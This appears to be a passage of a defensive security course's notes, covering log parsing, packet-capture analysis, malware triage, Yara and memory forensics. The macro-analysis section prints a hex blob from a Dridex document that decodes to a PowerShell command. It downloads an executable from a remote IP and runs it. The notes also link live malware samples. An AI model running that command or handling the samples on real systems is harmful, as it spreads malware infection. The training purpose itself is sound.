925 | ||
926 | $serv.Status | |
927 | $serv.Stop() | |
928 | $serv.Refresh() | |
929 | $serv.Status | |
930 | $serv.Start() | |
931 | $serv.Refresh() | |
932 | $serv.Status | |
933 | ||
934 | ||
935 | ||
936 | ||
937 | Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first call. | |
938 | ||
939 | ||
940 | ||
941 | ############################# | |
942 | # Simple Event Log Analysis # | |
943 | ############################# | |
944 | ||
945 | Step 1: Dump the event logs | |
946 | --------------------------- | |
947 | The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell. | |
948 | ||
949 | To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs. | |
950 | If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets. | |
951 | ||
952 | Get-EventLog -LogName application | Export-Clixml Applog.xml | |
953 | ||
954 | type .\Applog.xml | |
955 | ||
956 | $logs = "system","application","security" | |
957 | - | Explain to me how this script works. |
957 | + | |
958 | The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console | |
959 | ||
960 | $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" } | |
961 | ||
962 | ||
963 | ||
964 | Step 2: Import the event log of interest | |
965 | ---------------------------------------- | |
966 | To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files. | |
967 | Store the results in a variable. | |
968 | Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object. | |
969 | ||
970 | The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained. | |
971 | ||
972 | $seclog = Import-Clixml security.xml | |
973 | ||
974 | $seclog | select -Last 5 | |
975 | ||
976 | ||
977 | Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours: | |
978 | ||
979 | Get-EventLog Application -After (Get-Date).AddDays(-1) | |
980 | ||
981 | You can use '-after' and '-before' to filter date ranges | |
982 | ||
983 | One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything. | |
984 | By default, an ordinary user does not have permission to read the security log. | |
985 | ||
986 | ||
987 | Step 3: Drill into a specific entry | |
988 | ----------------------------------- | |
989 | To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties. | |
990 | ||
991 | ||
992 | $seclog | select -first 1 | fl * | |
993 | ||
994 | The message property contains the SID, account name, user domain, and privileges that are assigned for the new login. | |
995 | ||
996 | ||
997 | ($seclog | select -first 1).message | |
998 | ||
999 | (($seclog | select -first 1).message).gettype() | |
1000 | ||
1001 | ||
1002 | ||
1003 | In the *nix world you often want a count of something (wc -l). | |
1004 | How often is the SeSecurityPrivilege privilege mentioned in the message property? | |
1005 | To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events: | |
1006 | ||
1007 | $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure | |
1008 | ||
1009 | If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property. | |
1010 | ||
1011 | ||
1012 | $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid | |
1013 | ||
1014 | Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present. | |
1015 | Use the count property to determine the total number of entries in the event log. | |
1016 | ||
1017 | $seclog.Count | |
1018 | ||
1019 | ||
1020 | ||
1021 | ||
1022 | ||
1023 | ||
1024 | ############################ | |
1025 | # Simple Log File Analysis # | |
1026 | ############################ | |
1027 | ||
1028 | ||
1029 | You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA | |
1030 | ||
1031 | ||
1032 | mkdir c:\ps | |
1033 | cd c:\ps | |
1034 | (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log") | |
1035 | ||
1036 | ||
1037 | ||
1038 | ||
1039 | ||
1040 | ||
1041 | ||
1042 | ||
1043 | ############################################### | |
1044 | # Intrusion Analysis Using Windows PowerShell # | |
1045 | ############################################### | |
1046 | ||
1047 | Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory | |
1048 | ||
1049 | ||
1050 | ||
1051 | ||
1052 | ||
1053 | (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt") | |
1054 | ||
1055 | Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | |
1056 | ||
1057 | ||
1058 | ||
1059 | ||
1060 | The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows. | |
1061 | ||
1062 | Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | |
1063 | ||
1064 | ||
1065 | ||
1066 | ||
1067 | To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object. | |
1068 | ||
1069 | Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object | |
1070 | ||
1071 | ||
1072 | ||
1073 | To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output. | |
1074 | ||
1075 | Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object | |
1076 | ||
1077 | ||
1078 | ||
1079 | Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses. | |
1080 | ||
1081 | Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | |
1082 | ||
1083 | ||
1084 | In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des. | |
1085 | This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell. | |
1086 | ||
1087 | Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des | |
1088 | ||
1089 | ||
1090 | ||
1091 | ||
1092 | This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis. | |
1093 | The command shows that the Firewall log is at: | |
1094 | %systemroot%\system32\LogFiles\Firewall\pfirewall.log, in order to open the file PowerShell will need to be run with administrative privileges. | |
1095 | ||
1096 | ||
1097 | First step is to get the above command into a variable using script logic. | |
1098 | Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise. | |
1099 | ||
1100 | netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String “%systemroot%.+\.log" | select -ExpandProperty matches | select -ExpandProperty value | sort –uniq | |
1101 | ||
1102 | ||
1103 | ############################################## | |
1104 | # Parsing Log files using windows PowerShell # | |
1105 | ############################################## | |
1106 | ||
1107 | Download the sample IIS log http://pastebin.com/LBn64cyA | |
1108 | ||
1109 | ||
1110 | (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log") | |
1111 | ||
1112 | Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")} | |
1113 | ||
1114 | ||
1115 | ||
1116 | The above command would give us all the WebDAV requests. | |
1117 | ||
1118 | To filter this to a particular user name, use the below command: | |
1119 | ||
1120 | Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")} | |
1121 | ||
1122 | ||
1123 | ||
1124 | Some more options that will be more commonly required : | |
1125 | ||
1126 | For Outlook Web Access : Replace WebDAV with OWA | |
1127 | ||
1128 | For EAS : Replace WebDAV with Microsoft-server-activesync | |
1129 | ||
1130 | For ECP : Replace WebDAV with ECP | |
1131 | ||
1132 | ||
1133 | ||
1134 | To find out the count of the EWS request we can go ahead and run the below command | |
1135 | ||
1136 | (Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "Useralias")}).count | |
1137 | ||
1138 | ||
1139 | ||
1140 | ######################## | |
1141 | # Day 2: PCAP Analysis # | |
1142 | ######################## | |
1143 | ################# | |
1144 | # PCAP Analysis # | |
1145 | ################# | |
1146 | cd /home/malware/Desktop/Browser\ Forensics | |
1147 | ||
1148 | ls | grep pcap | |
1149 | ||
1150 | perl chaosreader.pl suspicious-time.pcap | |
1151 | ||
1152 | firefox index.html | |
1153 | ||
1154 | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | |
1155 | ||
1156 | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr | |
1157 | ||
1158 | sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs | |
1159 | ||
1160 | ||
1161 | for i in session_00[0-9]*.www.html; do srcip=`cat "$i" | grep 'www:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'www:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u | |
1162 | ||
1163 | ||
1164 | ||
1165 | ||
1166 | ||
1167 | ############################# | |
1168 | # PCAP Analysis with tshark # | |
1169 | ############################# | |
1170 | tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u | |
1171 | ||
1172 | ||
1173 | tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u | |
1174 | ||
1175 | ||
1176 | tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?' | |
1177 | ||
1178 | ||
1179 | tshark –r suspicious-time.pcap -Tfields -e “eth.src” | sort | uniq | |
1180 | ||
1181 | ||
1182 | tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq | |
1183 | ||
1184 | tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq | |
1185 | ||
1186 | tshark -r suspicious-time.pcap -qz ip_hosts,tree | |
1187 | ||
1188 | tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq | |
1189 | ||
1190 | tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name" | |
1191 | ||
1192 | ||
1193 | whois rapidshare.com.eyu32.ru | |
1194 | ||
1195 | whois sploitme.com.cn | |
1196 | ||
1197 | ||
1198 | tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | |
1199 | ||
1200 | tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org' | |
1201 | ||
1202 | tshark -r suspicious-time.pcap -qz http_req,tree | |
1203 | ||
1204 | tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst | |
1205 | ||
1206 | tshark -r suspicious-time.pcap -R http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g' | |
1207 | ||
1208 | ||
1209 | ||
1210 | ###################################### | |
1211 | # PCAP Analysis with forensicPCAP.py # | |
1212 | ###################################### | |
1213 | cd ~/Desktop | |
1214 | wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py | |
1215 | sudo easy_install cmd2 | |
1216 | ||
1217 | python forensicPCAP.py Browser\ Forensics/suspicious-time.pcap | |
1218 | ||
1219 | ForPCAP >>> help | |
1220 | ||
1221 | ||
1222 | Prints stats about PCAP | |
1223 | ForPCAP >>> stat | |
1224 | ||
1225 | ||
1226 | Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command. | |
1227 | ForPCAP >>> dns | |
1228 | ||
1229 | ForPCAP >>> show | |
1230 | ||
1231 | ||
1232 | Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command. | |
1233 | ForPCAP >>> dstports | |
1234 | ||
1235 | ForPCAP >>> show | |
1236 | ||
1237 | ||
1238 | Prints the number of ip source and store them. | |
1239 | ForPCAP >>> ipsrc | |
1240 | ||
1241 | ||
1242 | Prints the number of web's requests and store them | |
1243 | ForPCAP >>> web | |
1244 | ||
1245 | ||
1246 | Prints the number of mail's requests and store them | |
1247 | ForPCAP >>> mail | |
1248 | ||
1249 | ||
1250 | ||
1251 | ||
1252 | ||
1253 | ############################ | |
1254 | # Day 3: Malware Analysis # | |
1255 | ############################ | |
1256 | ||
1257 | ||
1258 | ############################ | |
1259 | # Download the Analysis VM # | |
1260 | ############################ | |
1261 | https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip | |
1262 | user: malware | |
1263 | pass: malware | |
1264 | ||
1265 | ||
1266 | - Log in to your Ubuntu system with the username 'malware' and the password 'malware'. | |
1267 | ||
1268 | - After logging please open a terminal window and type the following commands: | |
1269 | ||
1270 | cd Desktop/ | |
1271 | ||
1272 | ||
1273 | - This is actual Malware (remmeber to run it in a VM - the password to extract it is 'infected': | |
1274 | ||
1275 | wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip | |
1276 | wget https://s3.amazonaws.com/StrategicSec-Files/analyse_malware.py | |
1277 | ||
1278 | unzip malware-password-is-infected.zip | |
1279 | infected | |
1280 | ||
1281 | file malware.exe | |
1282 | ||
1283 | mv malware.exe malware.pdf | |
1284 | ||
1285 | file malware.pdf | |
1286 | ||
1287 | mv malware.pdf malware.exe | |
1288 | ||
1289 | hexdump -n 2 -C malware.exe | |
1290 | ||
1291 | ***What is '4d 5a' or 'MZ'*** | |
1292 | Reference: | |
1293 | http://www.garykessler.net/library/file_sigs.html | |
1294 | ||
1295 | ||
1296 | objdump -x malware.exe | |
1297 | ||
1298 | strings malware.exe | |
1299 | ||
1300 | strings --all malware.exe | head -n 6 | |
1301 | ||
1302 | strings malware.exe | grep -i dll | |
1303 | ||
1304 | strings malware.exe | grep -i library | |
1305 | ||
1306 | strings malware.exe | grep -i reg | |
1307 | ||
1308 | strings malware.exe | grep -i hkey | |
1309 | ||
1310 | strings malware.exe | grep -i hku | |
1311 | ||
1312 | - We didn't see anything like HKLM, HKCU or other registry type stuff | |
1313 | ||
1314 | strings malware.exe | grep -i irc | |
1315 | ||
1316 | strings malware.exe | grep -i join | |
1317 | ||
1318 | strings malware.exe | grep -i admin | |
1319 | ||
1320 | strings malware.exe | grep -i list | |
1321 | ||
1322 | ||
1323 | - List of IRC commands: https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands | |
1324 | ||
1325 | sudo apt-get install -y python-pefile | |
1326 | ||
1327 | vi analyse_malware.py | |
1328 | ||
1329 | python analyse_malware.py malware.exe | |
1330 | ||
1331 | ||
1332 | ||
1333 | ||
1334 | Building a Malware Scanner | |
1335 | -------------------------- | |
1336 | ||
1337 | mkdir ~/Desktop/malwarescanner | |
1338 | ||
1339 | cd ~/Desktop/malwarescanner | |
1340 | ||
1341 | wget https://github.com/jonahbaron/malwarescanner/archive/master.zip | |
1342 | ||
1343 | unzip master.zip | |
1344 | ||
1345 | cd malwarescanner-master/ | |
1346 | ||
1347 | python scanner.py -h | |
1348 | ||
1349 | cat strings.txt | |
1350 | ||
1351 | cat hashes.txt | |
1352 | ||
1353 | mkdir ~/Desktop/malcode | |
1354 | ||
1355 | cp ~/Desktop/malware.exe ~/Desktop/malcode | |
1356 | ||
1357 | python scanner.py -H hashes.txt -D /home/malware/Desktop/malcode/ strings.txt | |
1358 | ||
1359 | cp ~/Desktop/ | |
1360 | ||
1361 | ||
1362 | ||
1363 | ##################################################### | |
1364 | # Analyzing Macro Embedded Malware # | |
1365 | # Reference: # | |
1366 | # https://jon.glass/analyzes-dridex-malware-p1/ # | |
1367 | ##################################################### | |
1368 | cp ~/Desktop/ | |
1369 | ||
1370 | - Create a FREE account on: | |
1371 | https://malwr.com/account/signup/ | |
1372 | ||
1373 | - Grab the malware from: | |
1374 | https://malwr.com/analysis/MzkzMTk3MzBlZGQ2NDRhY2IyNTc0MGI5MWQwNzEwZmQ/ | |
1375 | ||
1376 | file ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin | |
1377 | ||
1378 | cat ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin | |
1379 | ||
1380 | ||
1381 | ||
1382 | ||
1383 | sudo pip install olefile | |
1384 | ||
1385 | mkdir ~/Desktop/oledump | |
1386 | ||
1387 | cd ~/Desktop/oledump | |
1388 | ||
1389 | wget http://didierstevens.com/files/software/oledump_V0_0_22.zip | |
1390 | ||
1391 | unzip oledump_V0_0_22.zip | |
1392 | ||
1393 | cp ~/Downloads/f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin . | |
1394 | ||
1395 | mv f9b874f9ccf803abaeaaf7af93523ee140f1929837f267378c89ed7b5bf174bf.bin 064016.doc | |
1396 | ||
1397 | python oledump.py 064016.doc | |
1398 | ||
1399 | python oledump.py 064016.doc -s A4 -v | |
1400 | ||
1401 | - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams. | |
1402 | - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’. | |
1403 | ||
1404 | ||
1405 | python oledump.py 064016.doc -s A5 -v | |
1406 | ||
1407 | - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners. | |
1408 | ||
1409 | ||
1410 | python oledump.py 064016.doc -s A3 -v | |
1411 | ||
1412 | - Look for "GVhkjbjv" and you should see: | |
1413 | ||
1414 | 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B | |
1415 | ||
1416 | - Take that long blob that starts with 636D and finishes with 653B and paste it in: | |
1417 | http://www.rapidtables.com/convert/number/hex-to-ascii.htm | |
1418 | ||
1419 | ||
1420 | ||
1421 | ||
1422 | ############## | |
1423 | # Yara Ninja # | |
1424 | ############## | |
1425 | sudo apt-get remove -y yara | |
1426 | ||
1427 | wget https://github.com/plusvic/yara/archive/v3.4.0.zip | |
1428 | ||
1429 | sudo apt-get -y install libtool | |
1430 | ||
1431 | unzip v3.4.0.zip | |
1432 | ||
1433 | cd yara-3.4.0 | |
1434 | ||
1435 | ./bootstrap.sh | |
1436 | ||
1437 | ./configure | |
1438 | ||
1439 | make | |
1440 | ||
1441 | sudo make install | |
1442 | ||
1443 | yara -v | |
1444 | ||
1445 | cd .. | |
1446 | ||
1447 | wget https://github.com/Yara-Rules/rules/archive/master.zip | |
1448 | ||
1449 | unzip master.zip | |
1450 | ||
1451 | cd ~/Desktop | |
1452 | ||
1453 | yara rules-master/packer.yar malcode/malware.exe | |
1454 | ||
1455 | ||
1456 | Places to get more Yara rules: | |
1457 | ------------------------------ | |
1458 | https://malwareconfig.com/static/yaraRules/ | |
1459 | https://github.com/kevthehermit/YaraRules | |
1460 | https://github.com/VectraThreatLab/reyara | |
1461 | ||
1462 | ||
1463 | ||
1464 | Yara rule sorting script: | |
1465 | ------------------------- | |
1466 | https://github.com/mkayoh/yarasorter | |
1467 | ||
1468 | ||
1469 | ||
1470 | cd ~/Desktop/rules-master | |
1471 | for i in $( ls --hide=master.yar ); do echo include \"$i\";done > master.yar | |
1472 | cd ~/Desktop/ | |
1473 | yara rules-master/master.yar malcode/malware.exe | |
1474 | ||
1475 | ||
1476 | ||
1477 | ||
1478 | ||
1479 | ||
1480 | ||
1481 | ||
1482 | ||
1483 | ||
1484 | Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with: | |
1485 | http://derekmorton.name/files/malware_12-14-12.sql.bz2 | |
1486 | ||
1487 | ||
1488 | Malware Repositories: | |
1489 | http://malshare.com/index.php | |
1490 | http://www.malwareblacklist.com/ | |
1491 | http://www.virusign.com/ | |
1492 | http://virusshare.com/ | |
1493 | http://www.tekdefense.com/downloads/malware-samples/ | |
1494 | ||
1495 | ||
1496 | ||
1497 | ||
1498 | ############################### | |
1499 | # Creating a Malware Database # | |
1500 | ############################### | |
1501 | ||
1502 | Creating a malware database (sqlite) | |
1503 | ------------------------------------ | |
1504 | sudo apt-get install -y python-simplejson python-simplejson-dbg | |
1505 | wget https://malwarecookbook.googlecode.com/svn/trunk/4/4/avsubmit.py | |
1506 | wget https://s3.amazonaws.com/StrategicSec-Files/MalwareAnalysis/malware-password-is-infected.zip | |
1507 | unzip malware-password-is-infected.zip | |
1508 | infected | |
1509 | python avsubmit.py --init | |
1510 | python avsubmit.py -f malware.exe -e | |
1511 | ||
1512 | ||
1513 | ||
1514 | ||
1515 | ||
1516 | Creating a malware database (mysql) | |
1517 | ----------------------------------- | |
1518 | - Step 1: Installing MySQL database | |
1519 | - Run the following command in the terminal: | |
1520 | ||
1521 | sudo apt-get install mysql-server | |
1522 | ||
1523 | - Step 2: Installing Python MySQLdb module | |
1524 | - Run the following command in the terminal: | |
1525 | ||
1526 | sudo apt-get build-dep python-mysqldb | |
1527 | sudo apt-get install python-mysqldb | |
1528 | ||
1529 | Step 3: Logging in | |
1530 | Run the following command in the terminal: | |
1531 | ||
1532 | mysql -u root -p (set a password of 'malware') | |
1533 | ||
1534 | - Then create one database by running following command: | |
1535 | ||
1536 | create database malware; | |
1537 | ||
1538 | exit; | |
1539 | ||
1540 | wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py | |
1541 | ||
1542 | vi mal_to_db.py (fill in database connection information) | |
1543 | ||
1544 | python mal_to_db.py -i | |
1545 | ||
1546 | python mal_to_db.py -f malware.exe -u | |
1547 | ||
1548 | ||
1549 | mysql -u root -p | |
1550 | malware | |
1551 | ||
1552 | mysql> use malware; | |
1553 | ||
1554 | select id,md5,sha1,sha256,time FROM files; | |
1555 | ||
1556 | mysql> quit; | |
1557 | ||
1558 | ||
1559 | ||
1560 | ||
1561 | ||
1562 | ||
1563 | ||
1564 | ||
1565 | ||
1566 | ################### | |
1567 | # Memory Analysis # | |
1568 | ################### | |
1569 | cd /home/malware/Desktop/Banking\ Troubles/Volatility | |
1570 | ||
1571 | python volatility | |
1572 | python volatility pslist -f ../hn_forensics.vmem | |
1573 | python volatility connscan2 -f ../hn_forensics.vmem | |
1574 | python volatility memdmp -p 888 -f ../hn_forensics.vmem | |
1575 | python volatility memdmp -p 1752 -f ../hn_forensics.vmem | |
1576 | ***Takes a few min*** | |
1577 | strings 1752.dmp | grep "^http://" | sort | uniq | |
1578 | strings 1752.dmp | grep "Ahttps://" | uniq -u | |
1579 | cd .. | |
1580 | foremost -i ../Volatility/1752.dmp -t pdf -o output/pdf2 | |
1581 | cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf2/ | |
1582 | cat audit.txt | |
1583 | cd pdf | |
1584 | ls | |
1585 | grep -i javascript *.pdf | |
1586 | ||
1587 | ||
1588 | ||
1589 | cd /home/malware/Desktop/Banking\ Troubles/foremost-1.5.7/output/pdf5/pdf | |
1590 | wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip | |
1591 | unzip pdf-parser_V0_6_4.zip | |
1592 | python pdf-parser.py -s javascript --raw 00600328.pdf | |
1593 | python pdf-parser.py --object 11 00600328.pdf | |
1594 | python pdf-parser.py --object 1054 --raw --filter 00600328.pdf > malicious.js | |
1595 | ||
1596 | cat malicious.js | |
1597 | ||
1598 | ||
1599 | *****Sorry - no time to cover javascript de-obfuscation today***** | |
1600 | ||
1601 | ||
1602 | cd /home/malware/Desktop/Banking\ Troubles/Volatility/ | |
1603 | python volatility files -f ../hn_forensics.vmem > files | |
1604 | cat files | less | |
1605 | python volatility malfind -f ../hn_forensics.vmem -d out | |
1606 | ls out/ | |
1607 | python volatility hivescan -f ../hn_forensics.vmem | |
1608 | python volatility printkey -o 0xe1526748 -f ../hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon | |
1609 | for file in $(ls *.dmp); do echo $file; strings $file | grep bankofamerica; done |